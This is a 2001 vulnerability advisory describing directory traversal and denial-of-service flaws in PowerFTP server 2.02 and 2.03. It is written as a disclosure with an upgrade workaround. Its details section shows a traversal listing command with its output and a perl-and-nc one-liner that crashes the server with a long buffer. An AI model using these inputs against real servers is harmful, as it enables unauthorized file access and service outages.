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Advisories

SYBSEC-ADV13: PowerFTP Directory Traversal and DoS Vulnerabilities

Title
PowerFTP Directory Traversal and DoS Vulnerabilities
ID
SYBSEC-ADV13
Severity
HIGH - Remote DoS / Traversal
History
30.NOV.2001 Vulnerability discovered
30.NOV.2001 Vendor contacted
Scope
Application Denial of Service and Directory Traversal
Platforms
Any win33 platforms
Author
URL
http://www.sybsecurity.com/advisors/SYBSEC-ADV13-PowerFTP_Directory_Traversal_and_DoS_Vulnerabilities
Release
Public
Overview
PowerFTP is a powerful FTP client/server software
Affected versions
The vulnerability has been reported in versions FTP Server

PowerFTP version 2.03
PowerFTP version 2.02
Description
Three security vulnerabilities have been found in the product - one allows access to files that reside outside the chained FTP root directory, another to cause the product to crash by sending it a long buffer, and the last one to utilize all available CPU by accessing the floppy drive.
Workaround
Upgrade the sofware version you can download from:
http://www.cooolsoft.com/powerftp.htm
Acknowledgments
This vulnerability have been found and researched by:
- Alex Hernandez <ahernandez [at] sybsecurity [dot] com>
References
Details
Traversal exploit 1:

Directory Traversal:
Example:
ftp> ls ../../../../../../../
200 Port command successful.
150 Opening data connection for directory list.
SUHDLOG.DAT
COMMAND.COM
BOOTLOG.PRV
FRUNLOG.TXT
DOS
AUTOEXEC.DOS
CONFIG.DOS
VIDEOROM.BIN
CONFIG.SYS
DBLSPACE.BIN
MSDOS.SYS
MSDOS.---
SETUPLOG.TXT
WINDOWS
test.txt.txt

Denial of Service:
Example:
# perl -e ' for ($i=1;$i<2049;$i++) { print "A";} ' | nc 10.0.0.1 21
220 Personal FTP Server ready

The server will then crash causing a denial of service attack.
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